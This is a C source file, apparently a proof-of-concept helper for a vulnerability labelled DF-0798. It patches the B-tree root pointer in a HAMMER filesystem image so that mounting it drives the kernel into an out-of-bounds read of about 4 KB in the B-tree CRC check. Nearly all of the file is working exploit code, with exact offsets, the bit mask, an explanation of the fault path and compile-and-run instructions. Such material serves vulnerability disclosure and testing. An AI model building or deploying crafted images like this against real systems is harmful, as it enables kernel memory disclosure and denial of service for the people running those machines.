/*
 * patch_btree_root.c - DF-0798 helper.
 *
 * Reads the current vol0_btree_root from a HAMMER filesystem image
 * (8-byte little-endian value at byte offset 240 in the on-disk volume
 * header), ORs its low 14 bits with 0x3FFC, and writes it back.
 *
 * The patched offset still references the SAME 16 KiB buffer as the
 * legitimate root (high bits unchanged), but the node pointer computed
 * in hammer_load_node() at sys/vfs/hammer/hammer_ondisk.c:1306 will be
 *
 *   node->ondisk = buffer->ondisk + 0x3FFC
 *
 * which is 4 bytes before the END of the 16384-byte buffer. The
 * subsequent hammer_crc_test_btree() then reads HAMMER_BTREE_CRCSIZE
 * (4092) bytes starting at &node->ondisk->crc + 1 == buffer->ondisk +
 * 0x4000 -- i.e. the read spans [0x4000, 0x4FFC) of the buffer's
 * kernel virtual address, which is entirely OUT OF BOUNDS.
 *
 * Compile:  cc -o patch_btree_root patch_btree_root.c
 * Run:      ./patch_btree_root <image>
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define VOL0_BTREE_ROOT_OFF	240		/* see hammer_disk.h:776 */
#define LOW14_MASK		0x3FFCULL	/* 4-byte aligned, > 12288 */

int
main(int argc, char **argv)
{
	unsigned char buf[8];
	uint64_t v, nv;
	int fd;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <hammer-image>\n", argv[0]);
		return (2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open"); return (1); }
	if (lseek(fd, VOL0_BTREE_ROOT_OFF, SEEK_SET) < 0) {
		perror("lseek"); return (1);
	}
	if (read(fd, buf, 8) != 8) { perror("read"); return (1); }
	memcpy(&v, buf, sizeof(v));
	nv = v | LOW14_MASK;
	fprintf(stderr, "vol0_btree_root: 0x%016llx -> 0x%016llx\n",
	    (unsigned long long)v, (unsigned long long)nv);
	memcpy(buf, &nv, sizeof(buf));
	if (lseek(fd, VOL0_BTREE_ROOT_OFF, SEEK_SET) < 0) {
		perror("lseek"); return (1);
	}
	if (write(fd, buf, 8) != 8) { perror("write"); return (1); }
	close(fd);
	return (0);
}
